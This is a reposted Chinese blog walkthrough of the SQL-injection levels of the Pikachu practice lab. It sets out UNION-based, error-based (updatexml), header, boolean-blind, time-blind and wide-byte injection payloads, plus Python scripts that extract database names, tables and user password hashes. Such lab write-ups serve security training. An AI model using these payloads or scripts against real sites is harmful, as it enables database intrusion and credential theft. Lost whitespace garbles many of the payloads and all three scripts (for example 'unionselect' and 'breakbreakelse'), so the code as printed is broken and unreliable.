0


Pikachu靶场—sql注入通关

Pikachu靶场—SQL注入篇

前言

创作不易,给个关注吧,有任何问题可以评论或者私聊

一、数字型注入

关卡详情
在这里插入图片描述
根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求
在这里插入图片描述
因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测到3的时候就开始报错,所以列数是两列
在这里插入图片描述

探测出来列数后,直接再使用 union select 联合查询,爆出数据库名,这里爆出了数据库名就是pikachu
在这里插入图片描述
有了数据库名后,直接爆表名

id=2unionselect group_concat(table_name),2from information_schema.tableswhere table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述
最后再爆出字段里的数据

id=2unionselect username,password from users&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述
发现密码是md5加密的,直接解密一波就可以了,pikachu的秘密解密后是:000000
在这里插入图片描述

二、字符型注入

这一关只有一个输入框,直接给了一个单引号会报错,并且上面的url会发现变化,直接得到一个url地址
在这里插入图片描述
根据题目是字符型的注入,所以直接给个万能公式 x’ or 1=1 limit 1进行试探,得到一些uid和信息,说明是存在注入漏洞
在这里插入图片描述
然后直接使用order by探测列数,这里也是到3 就会报错,所以还是两列
在这里插入图片描述
拿到列数后,使用union 链表查询到数据库名后,剩下的步骤和上面是一样的,将查询语句,放在x‘ 的后面,#号的前面即可
在这里插入图片描述

三、搜索型注入

按照和上面的方式一样,老办法,先探测是什么注入方式,首先给个 ’ 号闭合,得到一个url路径,最后使用 x‘ 发现有报错信息
在这里插入图片描述
发现报错信息里有一个%号,所以加上一个%号之后再进行闭合,发现错误消失了
在这里插入图片描述
继续再使用order by进行查询列数,这次探测到第四列才报错,说明这一关的列数有3列
在这里插入图片描述
然后再使用联表查询到数据库名依然是pikachu
在这里插入图片描述
知道数据库名后,直接查询表名

group_concat(table_name),2,3from information_schema.tableswhere table_schema=database()

在这里插入图片描述
爆列
在这里插入图片描述爆内容

x%' unionselect username,password,levelfrom users#

在这里插入图片描述
依然是md5加密的,可以直接通过网站进行解密即可

四、XX型注入

按照之前的流程,先尝试给了一个 ’ 号进行试探,看看是什么类型的注入,得到一个带 ) 的报错信息,猜测可能还是字符型输入
在这里插入图片描述
然后尝试各种方式探测,最终发现 x’) %23 不会报错,说明这样闭合没有问题
在这里插入图片描述然后继续 order by 找列数,这次到 3 就报错,所以确认是有两列
在这里插入图片描述
爆库名,发现还是pichachu
在这里插入图片描述
爆表名,使用之前的语句发现会报错,可能是因为union的两个SQL语句产生的记录的表结构不一致
在这里插入图片描述
尝试换个方法,能够直接查询出来,采用了distinct 去重

x') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23

在这里插入图片描述
爆列,使用之前的语句时,也会显示users无法识别
在这里插入图片描述
于是换了一种编码格式,url和base64都报错,十六进制可以使用,所以转成16进制
在这里插入图片描述
爆内容,MD5加密,直接解密即可

x')unionselect username,password from users%23&submit=查询

在这里插入图片描述

五、insert注入

从注册入手,先使用工具抓包看看,看是否是post请求,感觉是post请求,除了按钮之外,还有6个参数
在这里插入图片描述
先尝试将必填的参数写在username里面,将后面的注释,前面的形成闭合,但是发现报错,显示列数不对
在这里插入图片描述
重新整理下,将参数全部塞进去,显示注册成功,后面的被注释掉了,说明 ‘ 号是闭合
在这里插入图片描述
但是发现没有任何报错信息回显,可能隐藏了,这里尝试使用报错注入看看是否可以,发现最后显示出来了数据库

username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit

在这里插入图片描述
爆表

username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

在这里插入图片描述
爆列(修改substr的参数可以全部爆出来)

username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit

在这里插入图片描述
爆内容

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

在这里插入图片描述

六、delete注入

点进去发现是个留言板,可以增加留言可以删除留言,之后就没有什么特别的提示了,所以尝试抓包看下,最后发现是get请求
在这里插入图片描述
随便给一个id=1,发现会报错,给order by探测列数,发现都会报错,尝试使用报错注入 ,发现这个可以成功爆出数据库名

?id=1or updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)

在这里插入图片描述
发现报错注入有用的话,剩下的都是老套路,爆表
在这里插入图片描述
剩下的和上面的关卡是一样的,爆列名

?id=1or updatexml(1,concat(0x7e,substr((select group_concat(column_name)from information_schema.columnswhere table_name='users'),30,31),0x7e),1)

在这里插入图片描述
爆内容

?id=1or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password))from users),1,31),0x7e),1)

在这里插入图片描述

七、http header注入

在这里插入图片描述
根据标题可以看到是根据http头部进行注入,先尝试使用admin正常登录看看,跳出了一个信息被记录的提示,并且登录进去之后有回显http request报文头
在这里插入图片描述
下面抓包看一下,按照之前sql-labs的经验,尝试在user-agent中进行注入
在这里插入图片描述
尝试在user-agent中加入报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

在这里插入图片描述直接拿到了数据库名
在这里插入图片描述

八、盲注:基于布尔盲注

在这里插入图片描述
先找闭合,老样子先直接给个单引号和双引号进行探测,最后返回的都是用户名不存在,但是在后面加个 # 号就能返回正常结果,所以基本确认闭合是单引号闭合,下面就是爆数据库名,手工盲注太慢了,写个python脚本直接跑

import requests

url ="http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"# url地址
headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Cookie":"PHPSESSID=im2aisu068uefdjnd9p59l2d85",}# http request报文头部信息
keylist =[chr(i)for i inrange(33,127)]# 包括数字、大小写字母、可见特殊字符
flag ='your uid'# 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段defshowdatabase():
    n =20# 猜测的最大长度
    k =0
    j = n //2
    length =0
    db =str()whileTrue:if j > k and j < n and j - k >3:
            payload1 ="lili' and length(database())>"+str(j)+"-- ss"
            param ={"name": payload1,"submit":"查询",}
            response = requests.get(url, params=param, headers=headers)if response.text.find(flag)!=-1:
                n = n
                k = j
            else:
                k = k
                n = j
            j =(n - k)//2elif j - k ==3or j - k <3:for i inrange(k -1, n +2):
                payload2 ="lili' and length(database())="+str(i)+"-- ss"
                param ={"name": payload2,"submit":"查询",}
                response = requests.get(url, params=param, headers=headers)if response.text.find(flag)!=-1:
                    length = i
                    breakbreakelse:breakprint("数据库名长度为:"+str(length))for i inrange(1, length +1):for c in keylist:
            payload3 ="lili' and substring(database(),"+str(i)+",1)='"+ c +"'-- ss"
            param ={"name": payload3,"submit":"查询",}
            response = requests.get(url, params=param, headers=headers)if response.text.find(flag)!=-1:
                db = db + c
                breakprint("数据库名是:"+str(db))

showdatabase()

效果图
在这里插入图片描述

九、布尔盲注:基于时间

在这里插入图片描述
不挣扎了,直接上脚本,多说无益

defdatabaseTime():
    n =20
    k =0
    j = n //2
    length =0
    db =str()whileTrue:if j > k and j < n and j - k >3:
            payload1 ="lili' and  if(length(database())>"+str(j)+",sleep(3),1)-- ss"  
            param ={"name": payload1,"submit":"查询",}try:
                response = requests.get(url, params=param, headers=headers,timeout=2)
                k = k
                n = j
            except:
                n = n
                k = j
            j =(n - k)//2elif j - k ==3or j - k <3:for i inrange(k -1, n +2):
                payload2 ="lili' and  if(length(database())="+str(i)+",sleep(3),1)-- ss"
                param ={"name": payload2,"submit":"查询",}try:
                    response = requests.get(url, params=param, headers=headers, timeout=2)except:
                    length = i
                    breakbreakelse:breakprint("数据库的长度为:"+str(length))for i inrange(1, length +1):for c in keylist:
            payload3 ="lili' and if(substring(database(),"+str(i)+",1)='"+ c +"',sleep(3),1)-- ss"
            param ={"name": payload3,"submit":"查询",}try:
                response = requests.get(url, params=param, headers=headers, timeout=2)except:
                db = db + c
                breakprint("数据库名为:"+str(db))

databaseTime()

效果图:
在这里插入图片描述

十、宽字节注入

在这里插入图片描述
这关提醒是宽字节注入,通过抓包分析,发现这一关是一个post请求,所以尝试直接使用宽字节登录看看,提示用户不存在
在这里插入图片描述
说明数据库是收到了数据,但是没有查询到,继续加一个 or 1=1 进行探测,发现是显示了正常的结果
在这里插入图片描述
再次输入 1=2时,就回显示username不存在
在这里插入图片描述
从这里就可以看出,这关本质上还是布尔盲注,只是单引号被转义了,所以直接修改前面的脚本代码,直接跑

import requests

url ="http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php" 
headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Cookie":"PHPSESSID=im2aisu068uefdjnd9p59l2d85","Content-Type":"application/x-www-form-urlencoded"# 需添加此行,不然requests模块自动进行url编码}  

keylist =range(33,127)# 包括数字、大小写字母、可见特殊字符
flag ='your uid'defdatabaseWide():
    n =10  
    k =0
    j = n //2
    length =0
    db =str()whileTrue:if j > k and j < n and j - k >3:
            payload1 ="name=lili%df' or length(database())>"+str(
                j)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"  
            response = requests.post(url, data=payload1, headers=headers)## print(response.request.headers)# print(response.request.body)if response.text.find(flag)!=-1:
                n = n
                k = j
            else:
                k = k
                n = j
            j =(n - k)//2elif j - k ==3or j - k <3:for i inrange(k -1, n +2):
                payload2 ="name=lili%df' or length(database())="+str(i)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"
                param ={"name": payload2,"submit":"查询",}
                response = requests.post(url, data=payload2, headers=headers)if response.text.find(flag)!=-1:
                    length = i
                    breakbreakelse:breakprint("数据库的长度是:"+str(length))for i inrange(1, length +1):for c in keylist:
            payload3 ="name=lili%df' or ascii(substring(database(),"+str(i)+",1))="+str(
                c)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data=payload3, headers=headers)if response.text.find(flag)!=-1:
                db = db +chr(c)breakprint("数据库名字是:"+str(db))

databaseWide()

效果图
在这里插入图片描述

总结

没有总结

标签: sql 网络安全

本文转载自: https://blog.csdn.net/oiadkt/article/details/129385178
版权归原作者 梦想是红队 所有, 如有侵权,请联系我们删除。

“Pikachu靶场—sql注入通关”的评论:

还没有评论